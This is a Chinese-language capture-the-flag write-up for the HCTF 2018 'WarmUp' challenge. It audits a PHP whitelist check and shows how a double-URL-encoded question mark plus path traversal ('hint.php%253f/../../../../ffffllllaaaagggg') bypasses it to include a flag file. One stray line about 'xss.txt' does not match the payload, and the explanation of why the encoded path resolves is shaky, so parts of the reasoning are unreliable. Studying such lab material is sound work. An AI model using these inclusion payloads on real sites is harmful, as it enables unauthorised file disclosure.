[HCTF 2018]WarmUp

0x00

打开网页看到如下,并没有任何信息,那就让我去找一些信息。

在控制台看到了如下信息

可以知道存在source.php文件,打开如下

其中代码如下,进行php代码审计

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

看到如下这处,发现由于未对传入参数过滤,导致了文件包含漏洞

根据代码我们可以知道,如何想要触发文件包含,需要满足如下三个条件:

##只有三个条件全部为true时才可触发
1. ! empty($_REQUEST['file'])
##条件1表示参数不为空时返回true
2. is_string($_REQUEST['file'])
##条件2表示参数为字符串时返回true
3. emmm::checkFile($_REQUEST['file'])
##条件3表示参数满足checkFile函数时返回true

由上我们可以知道条件1和条件2很好满足,我们只需要在满足条件三即可,然后我们来的分析checkFile函数

        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            ## 0
            if (! isset($page) || !is_string($page)) {      ##满足page变量不存在或page变量不是字符串时返回false
                echo "you can't see it";
                return false;
            }
            
            ## 1
            if (in_array($page, $whitelist)) {      ##满足page变量在whitelist数组内返回true
                return true;
            }

            ## 2
            $_page = mb_substr(      ##截取page变量第一个?前的字符串
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            
            ## 3
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }

由以上代码我们可以知道:

0:

我们可以先不用考虑,只要满足那两个条件让他不返回false即可

1:

我们只要保证传入的参数("file="后面的为参数),在whitelist里面即可,checkFile函数返回的就是true,就可以触发文件包含

2:

我们只要保证传入的参数在被截取后得到的变量,在whitelist里面即可

3:

我们要保证被url解码后在进行截取后得到的变量,在whitelist里面即可

现在我们已经知道了如何可以触发文件包含漏洞,接下来我们寻找Flag
在代码审计过程中我们看到数组中还有一个hint.php文件,我们去打开得到如下

我们可以知道flag在上图的那个文件里面,接下来我们尝试将那个文件包含进来
首先我们要满足可以触发文件包含,payload如下

/source.php?file=hint.php

我们可以看到已经包含进来了
然后我们要满足将 ffffllllaaaagggg 包含进来,可以构造如下payload:

/source.php?file=hint.php%253f/../../../../ffffllllaaaagggg
或
/source.php?file=hint.php?/../../../../ffffllllaaaagggg

如上payload,带入到代码里面为

include "hint.php%23/../xss.txt";

0x01

如果你对payload

/source.php?file=hint.php%253f/../../../../ffffllllaaaagggg
或
/source.php?file=hint.php?/../../../../ffffllllaaaagggg

有疑问,那需要知道如下知识点

    1. 在php中当前目录可以表示成
a%/..
## a可以为任意字母
    1. 在操作系统中
 . 表示当前目录
 .. 表示上一级目录
    1. ?的双重url编码为 %253f
    1. 后端获取前端传入参数时默认进行一次解url编码
    1. 后端获取到的参数变量为 "?file=" 后的字符串
      接下来我们进行一步步分析:
1:

后端获取到的参数为

hint.php%3f/../../../../ffffllllaaaagggg
##已经进行了一次url解码

可以满足触发文件包含的前两条件,在分析是否满足checkFile返回true

2:

checkFile里面的四个条件,
可以保证让0条件不反回false,继续执行
不能保证让条件1返回true,继续执行
不能保证让条件2返回true,继续执行
条件3还需要在进行一次解码得到如下

hint.php?/../../../../ffffllllaaaagggg

然后在进行截取得到如下

hint.php

可以知道hint.php在whitelist里面,所以checkFile返回true,可以触发文件包含,接下来我们去分析文件包含部分

3:

代码如下:

    include $_REQUEST['file'];
##$_REQUEST['file']即为我们在前端获得的参数,为 hint.php%3f/../../../../ffffllllaaaagggg

根据如上知识点我们可以知道 hint.php%3f/.. 表示当前脚本目录,所以这里代码可以替换为

include "../../../ffffllllaaaagggg";
posted @ 2020-08-06 15:48  she11s  阅读(282)  评论(0编辑  收藏  举报